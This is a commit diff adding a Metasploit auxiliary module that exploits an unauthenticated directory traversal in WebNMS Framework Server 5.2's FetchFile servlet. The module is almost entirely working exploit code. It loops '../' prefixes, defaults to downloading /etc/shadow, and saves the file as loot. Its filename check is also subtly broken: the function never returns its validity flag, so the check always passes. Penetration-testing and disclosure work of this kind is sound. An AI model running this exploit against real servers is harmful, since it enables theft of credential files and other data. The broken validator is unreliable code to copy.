Land rapid7#7063, Add module for WebNMS 5.2 Arbitrary File Download

Author: bwatters-r7

modules/auxiliary/admin/http/webnms_file_download.rb

@@ -0,0 +1,118 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'WebNMS Framework Server Arbitrary Text File Download',
+        'Description' => %q(
+This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
+unauthenticated user to download files off the file system by using a directory
+traversal attack on the FetchFile servlet.
+Note that only text files can be downloaded properly, as any binary file will get
+mangled by the servlet. Also note that for Windows targets you can only download
+files that are in the same drive as the WebNMS installation.
+This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
+Windows and Linux.
+),
+        'Author' =>
+          [
+            'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
+          ],
+        'License' => MSF_LICENSE,
+        'References' =>
+          [
+            [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
+          ],
+        'DisclosureDate' => 'Jul 4 2016'
+      )
+    )
+    register_options(
+      [
+        OptPort.new('RPORT', [true, 'The target port', 9090]),
+        OptString.new('TARGETURI', [ true, "WebNMS path", '/']),
+        OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']),
+        OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]),
+        OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10])
+      ],
+      self.class
+    )
+  end
+
+  def check_filename(path)
+    valid = true
+    invalid_chars = [':', '?', '*', '|', '"', '<', '>']
+    invalid_chars.each do |i|
+      if path.include? i
+        valid = false
+        break
+      end
+    end
+  end
+
+  def run
+    if check_filename(datastore['filepath'])
+      file = nil
+      if datastore['TRAVERSAL_PATH'].nil?
+        traversal_size = datastore['MAX_TRAVERSAL']
+        file = get_file(datastore['FILEPATH'], traversal_size)
+      else
+        file = get_file(datastore['TRAVERSAL_PATH'], 1)
+      end
+      if file.nil?
+        print_error("#{peer} - Failed to download the specified file.")
+        return
+      else
+        vprint_line(file)
+        fname = File.basename(datastore['FILEPATH'])
+
+        path = store_loot(
+          'webnms.http',
+          'text/plain',
+          datastore['RHOST'],
+          file,
+          fname
+        )
+        print_good("File download successful, file saved in #{path}")
+      end
+    else
+      print_error("Module Failed: Invalid Filename")
+    end
+  end
+
+  def get_file(path, depth)
+    while depth > 0
+      file_name = "../" * depth + path
+      vprint_status("Attempting to get file: #{file_name}")
+      begin
+        res = send_request_cgi(
+          {
+            'uri'      => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
+            'method'   => 'GET',
+            'vars_get' => { 'fileName' => file_name }
+          }
+        )
+      rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
+             Rex::HostUnreachable, Errno::ECONNRESET => e
+        print_error("Connect to the target: #{e.class} - #{e.message}")
+        return nil
+      end
+      if res &&
+         res.code == 200 &&
+         !res.body.to_s.empty? &&
+         (res.body.to_s.include? "File Found")
+        return res.body.to_s
+      end
+      depth -= 1
+    end
+  end
+end